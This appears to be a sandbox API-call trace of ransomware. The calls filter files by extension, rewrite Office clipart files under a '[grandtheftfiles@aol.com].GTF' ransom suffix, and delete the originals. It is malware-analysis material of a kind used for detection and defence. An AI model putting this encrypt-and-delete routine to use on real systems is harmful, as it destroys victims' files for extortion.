	[0089.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68
	[0089.153] lstrlenW (lpString=".doc") returned 4
	[0089.153] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.153] lstrlenW (lpString=".docx") returned 5
	[0089.153] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.153] lstrlenW (lpString=".pdf") returned 4
	[0089.153] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.153] lstrlenW (lpString=".xls") returned 4
	[0089.153] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.153] lstrlenW (lpString=".xlsx") returned 5
	[0089.153] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.153] lstrlenW (lpString=".ppt") returned 4
	[0089.153] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68
	[0089.153] lstrlenW (lpString=".zip") returned 4
	[0089.153] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.153] lstrlenW (lpString=".rar") returned 4
	[0089.153] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.153] lstrlenW (lpString=".bz2") returned 4
	[0089.153] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.153] lstrlenW (lpString=".7z") returned 3
	[0089.153] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68
	[0089.153] lstrlenW (lpString=".dbf") returned 4
	[0089.154] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68
	[0089.154] lstrlenW (lpString=".1cd") returned 4
	[0089.154] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68
	[0089.154] lstrlenW (lpString=".jpg") returned 4
	[0089.154] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.154] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0089.154] lstrlenW (lpString="HH01461_.WMF") returned 12
	[0089.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0089.154] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=5958) returned 1
	[0089.154] CloseHandle (hObject=0x31c) returned 1
	[0089.154] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf")) returned 0x220
	[0089.154] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0089.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0089.155] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.155] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0089.155] GetLastError () returned 0x0
	[0089.155] ReadFile (in: hFile=0x31c, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x1746, lpOverlapped=0x0) returned 1
	[0089.157] WriteFile (in: hFile=0x2d0, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x1750, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x1750, lpOverlapped=0x0) returned 1
	[0089.158] ReadFile (in: hFile=0x31c, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.158] WriteFile (in: hFile=0x2d0, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.158] SetEndOfFile (hFile=0x2d0) returned 1
	[0089.158] CloseHandle (hObject=0x2d0) returned 1
	[0089.158] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.158] SetEndOfFile (hFile=0x31c) returned 1
	[0089.159] CloseHandle (hObject=0x31c) returned 1
	[0089.159] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0089.159] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf")) returned 1
	[0089.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68
	[0089.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68
	[0089.160] lstrlenW (lpString=".doc") returned 4
	[0089.160] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.160] lstrlenW (lpString=".docx") returned 5
	[0089.160] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.160] lstrlenW (lpString=".pdf") returned 4
	[0089.160] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.160] lstrlenW (lpString=".xls") returned 4
	[0089.160] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.160] lstrlenW (lpString=".xlsx") returned 5
	[0089.160] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.160] lstrlenW (lpString=".ppt") returned 4
	[0089.160] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68
	[0089.160] lstrlenW (lpString=".zip") returned 4
	[0089.160] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.160] lstrlenW (lpString=".rar") returned 4
	[0089.160] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.160] lstrlenW (lpString=".bz2") returned 4
	[0089.160] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.160] lstrlenW (lpString=".7z") returned 3
	[0089.160] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68
	[0089.160] lstrlenW (lpString=".dbf") returned 4
	[0089.160] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68
	[0089.160] lstrlenW (lpString=".1cd") returned 4
	[0089.160] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68
	[0089.160] lstrlenW (lpString=".jpg") returned 4
	[0089.160] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68
	[0089.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68
	[0089.161] lstrlenW (lpString=".doc") returned 4
	[0089.161] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.161] lstrlenW (lpString=".docx") returned 5
	[0089.161] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.161] lstrlenW (lpString=".pdf") returned 4
	[0089.161] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.161] lstrlenW (lpString=".xls") returned 4
	[0089.161] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.161] lstrlenW (lpString=".xlsx") returned 5
	[0089.161] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.161] lstrlenW (lpString=".ppt") returned 4
	[0089.161] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68
	[0089.161] lstrlenW (lpString=".zip") returned 4
	[0089.161] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.161] lstrlenW (lpString=".rar") returned 4
	[0089.161] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.161] lstrlenW (lpString=".bz2") returned 4
	[0089.161] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.161] lstrlenW (lpString=".7z") returned 3
	[0089.161] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68
	[0089.161] lstrlenW (lpString=".dbf") returned 4
	[0089.161] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68
	[0089.161] lstrlenW (lpString=".1cd") returned 4
	[0089.161] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68
	[0089.161] lstrlenW (lpString=".jpg") returned 4
	[0089.161] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.162] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0089.162] lstrlenW (lpString="HH01618_.WMF") returned 12
	[0089.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0089.162] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=7296) returned 1
	[0089.162] CloseHandle (hObject=0x31c) returned 1
	[0089.162] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf")) returned 0x220
	[0089.162] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0089.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0089.162] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.162] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0089.163] GetLastError () returned 0x0
	[0089.163] ReadFile (in: hFile=0x31c, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x1c80, lpOverlapped=0x0) returned 1
	[0089.510] WriteFile (in: hFile=0x2d0, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x1c90, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x1c90, lpOverlapped=0x0) returned 1
	[0089.620] ReadFile (in: hFile=0x31c, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.620] WriteFile (in: hFile=0x2d0, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.620] SetEndOfFile (hFile=0x2d0) returned 1
	[0089.621] CloseHandle (hObject=0x2d0) returned 1
	[0089.621] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.621] SetEndOfFile (hFile=0x31c) returned 1
	[0089.622] CloseHandle (hObject=0x31c) returned 1
	[0089.622] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0089.622] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf")) returned 1
	[0089.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68
	[0089.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68
	[0089.623] lstrlenW (lpString=".doc") returned 4
	[0089.623] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.623] lstrlenW (lpString=".docx") returned 5
	[0089.623] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.623] lstrlenW (lpString=".pdf") returned 4
	[0089.623] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.623] lstrlenW (lpString=".xls") returned 4
	[0089.623] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.623] lstrlenW (lpString=".xlsx") returned 5
	[0089.623] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.623] lstrlenW (lpString=".ppt") returned 4
	[0089.623] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68
	[0089.623] lstrlenW (lpString=".zip") returned 4
	[0089.623] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.623] lstrlenW (lpString=".rar") returned 4
	[0089.623] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.623] lstrlenW (lpString=".bz2") returned 4
	[0089.623] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.623] lstrlenW (lpString=".7z") returned 3
	[0089.623] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68
	[0089.623] lstrlenW (lpString=".dbf") returned 4
	[0089.623] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68
	[0089.623] lstrlenW (lpString=".1cd") returned 4
	[0089.623] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68
	[0089.623] lstrlenW (lpString=".jpg") returned 4
	[0089.623] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68
	[0089.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68
	[0089.624] lstrlenW (lpString=".doc") returned 4
	[0089.624] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.624] lstrlenW (lpString=".docx") returned 5
	[0089.624] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.624] lstrlenW (lpString=".pdf") returned 4
	[0089.624] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.624] lstrlenW (lpString=".xls") returned 4
	[0089.624] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.624] lstrlenW (lpString=".xlsx") returned 5
	[0089.624] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.624] lstrlenW (lpString=".ppt") returned 4
	[0089.624] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68
	[0089.624] lstrlenW (lpString=".zip") returned 4
	[0089.624] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.624] lstrlenW (lpString=".rar") returned 4
	[0089.624] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.624] lstrlenW (lpString=".bz2") returned 4
	[0089.624] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.624] lstrlenW (lpString=".7z") returned 3
	[0089.624] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68
	[0089.624] lstrlenW (lpString=".dbf") returned 4
	[0089.624] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68
	[0089.624] lstrlenW (lpString=".1cd") returned 4
	[0089.624] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68
	[0089.624] lstrlenW (lpString=".jpg") returned 4
	[0089.624] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.625] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0089.625] lstrlenW (lpString="HM00172_.WMF") returned 12
	[0089.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0089.625] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=2832) returned 1
	[0089.626] CloseHandle (hObject=0x31c) returned 1
	[0089.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf")) returned 0x220
	[0089.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0089.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0089.626] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.626] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0089.626] GetLastError () returned 0x0
	[0089.626] ReadFile (in: hFile=0x31c, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0xb10, lpOverlapped=0x0) returned 1
	[0089.637] WriteFile (in: hFile=0x2d0, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xb20, lpOverlapped=0x0) returned 1
	[0089.638] ReadFile (in: hFile=0x31c, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.638] WriteFile (in: hFile=0x2d0, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.638] SetEndOfFile (hFile=0x2d0) returned 1
	[0089.638] CloseHandle (hObject=0x2d0) returned 1
	[0089.638] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.638] SetEndOfFile (hFile=0x31c) returned 1
	[0089.639] CloseHandle (hObject=0x31c) returned 1
	[0089.639] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0089.639] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf")) returned 1
	[0089.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68
	[0089.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68
	[0089.640] lstrlenW (lpString=".doc") returned 4
	[0089.640] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.640] lstrlenW (lpString=".docx") returned 5
	[0089.640] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.640] lstrlenW (lpString=".pdf") returned 4
	[0089.640] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.640] lstrlenW (lpString=".xls") returned 4
	[0089.640] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.640] lstrlenW (lpString=".xlsx") returned 5
	[0089.640] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.640] lstrlenW (lpString=".ppt") returned 4
	[0089.640] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68
	[0089.640] lstrlenW (lpString=".zip") returned 4
	[0089.640] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.640] lstrlenW (lpString=".rar") returned 4
	[0089.640] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.640] lstrlenW (lpString=".bz2") returned 4
	[0089.640] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.640] lstrlenW (lpString=".7z") returned 3
	[0089.640] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68
	[0089.640] lstrlenW (lpString=".dbf") returned 4
	[0089.640] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68
	[0089.640] lstrlenW (lpString=".1cd") returned 4
	[0089.640] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68
	[0089.640] lstrlenW (lpString=".jpg") returned 4
